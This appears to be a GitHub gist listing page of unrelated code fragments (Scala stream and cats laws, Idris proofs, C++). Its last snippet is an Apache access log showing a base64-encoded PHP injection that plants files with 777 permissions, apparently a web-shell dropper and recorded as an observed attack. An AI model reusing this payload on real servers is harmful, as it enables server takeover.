This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
package scalaz.stream | |
import java.nio.file.{DirectoryStream, Path} | |
import java.nio.file.Files._ | |
import scalaz.concurrent.Task | |
import Process._ | |
object os { | |
def listDirectory(dir: Path): Process[Task, Path] = |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
package scalaz.stream.examples | |
import scala.util.Random | |
import scalaz.concurrent.Task | |
import scalaz.stream._ | |
object Manifesto extends App { | |
val reactivemanifestowords = "Application requirements have changed dramatically in recent years. Only a few years ago a large application had tens of servers, seconds of response time, hours of offline maintenance and gigabytes of data. Today applications are deployed on everything from mobile devices to cloud-based clusters running thousands of multicore processors. Users expect millisecond or even microsecond response times and 100% uptime. Data needs are expanding into the petabytes.".split(" ").toIndexedSeq | |
val randomWord: Process[Task, String] = |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
def unchunkF[F[_], A](implicit F: Foldable[F]): Process1[F[A], A] = | |
id[F[A]].flatMap(fa => emitAll(F.toIndexedSeq(fa))) | |
//id[F[A]].flatMap(fa => F.foldLeft(fa, halt: Process1[F[A], A])((p, a) => p fby emit(a))) | |
/* | |
examples: | |
scala> val tree = '2'.node('1'.node('5'.leaf), '3'.leaf) | |
tree: scalaz.Tree[Char] = <tree> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
package cats.laws | |
import cats.FlatMap | |
import cats.arrow.Kleisli | |
import cats.syntax.apply._ | |
import cats.syntax.flatMap._ | |
import cats.syntax.functor._ | |
/** | |
* Laws that must be obeyed by any [[FlatMap]]. |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
trait InvariantLaws[F[_]] { | |
implicit def F: Invariant[F] | |
... | |
} | |
object InvariantLaws { | |
apply[F[_]](implicit ev: Invariant[F]): InvariantLaws[F] = | |
new InvariantLaws { def F = ev } | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
trait Semigroup[A] { | |
def op(a1: A, a2: A): A // op is associative | |
} | |
trait Monoid[A] extends Semigroup[A] { | |
def id: A // id is the identity of op: op(a, id) == op(id, a) == a | |
} | |
trait SemigroupZero[A] extends Semigroup[A] { | |
def zero: A // zero is the absorbing element of op: op(a, zero) == op(zero, a) == zero |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
isSorted : Ord a => List a -> Bool | |
isSorted [] = True | |
isSorted [x] = True | |
isSorted (x :: t @ (y :: ys)) = x <= y && isSorted t | |
minElem : Ord a => (l : List a) -> { auto p : isSorted l = True } -> Maybe a | |
minElem l = head' l | |
prove : Ord a => (l : List a) -> Maybe (isSorted l = True) | |
prove [] = Just $ Refl |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <memory> | |
template<class T> | |
struct enable_weak_from_this { | |
enable_weak_from_this() : ref_{static_cast<T*>(this), nopDeleter} {} | |
std::weak_ptr<T> weak_from_this() const { | |
return ref_; | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// see http://stackoverflow.com/questions/14924707/how-to-write-a-scalaz-isempty-parameter-for-generic-types | |
import scalaz._ | |
import Scalaz._ | |
object Test { | |
def asOption[C](c: C)(implicit ev: IsEmpty[({type F[_] = C})#F]): Option[C] = | |
if (ev.isEmpty(c)) None else Some(c) | |
implicit def detailedIsEmpty[A, C[_]](implicit ev: IsEmpty[C]) = |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from /var/log/apache2/access.log: | |
46.105.114.130 - - [27/Feb/2013:18:27:52 +0100] "GET / HTTP/1.1" 200 772 "" "<?php eval(base64_decode(\"YWRkTG9hZGVyKCk7DQokZGF0YSA9IEBvcGVuZGlyKCcuJyk7DQoNCndoaWxlICgkZmlsZSA9IEByZWFkZGlyKCRkYXRhKSkNCnsNCgkkZmlsZSA9IHRyaW0oJGZpbGUpOw0KCWlmICghJGZpbGUgfHwgcHJlZ19tYXRjaCgnL15cLiskLycsICRmaWxlKSB8fCAhaXNfZGlyKCRmaWxlKSkgY29udGludWU7DQoJYWRkTG9hZGVyKCRmaWxlKTsNCn0NCg0KQGNsb3NlZGlyKCRkYXRhKTsNCg0KZnVuY3Rpb24gYWRkTG9hZGVyKCRkaXIgPSAnJykNCnsNCiAgICBpZiAoJGRpcikgJGRpciAuPSAnLyc7DQogICAgQGNobW9kKCRkaXIsIDc3Nyk7DQogICAgDQogICAgJGZwID0gZm9wZW4oInskZGlyfThkOTQ2YmY5NGY1YTU2MDY0NmNmNzdmYjYwOTg4MWQ0LnBocCIsICJ3Iik7IA0KICAgIGZ3cml0ZSgkZnAsIGJhc2U2NF9kZWNvZGUoJ1BEOXdhSEFOQ2cwS1FHbHVhVjl6WlhRb0oyRnNiRzkzWDNWeWJGOW1iM0JsYmljc0lERXBPdzBLUUdsdWFWOXpaWFFvSjJSbFptRjFiSFJmYzI5amEyVjBYM1JwYldWdmRYUW5MQ0EyTUNrN0RRcEFhVzVwWDNObGRDZ25iV0Y0WDJWNFpXTjFkR2x2Ymw5MGFXMWxKeXdnTmpBcE93MEtRSE5sZEY5MGFXMWxYMnhwYldsMEtEWXdLVHNOQ2cwS0pHUmhkR0VnUFNCQWRXNXpaWEpwWVd4cGVtVW9ZbUZ6WlRZMFgyUmxZMjlrWlNoMGNtbHRLRUFrWDFCU |
OlderNewer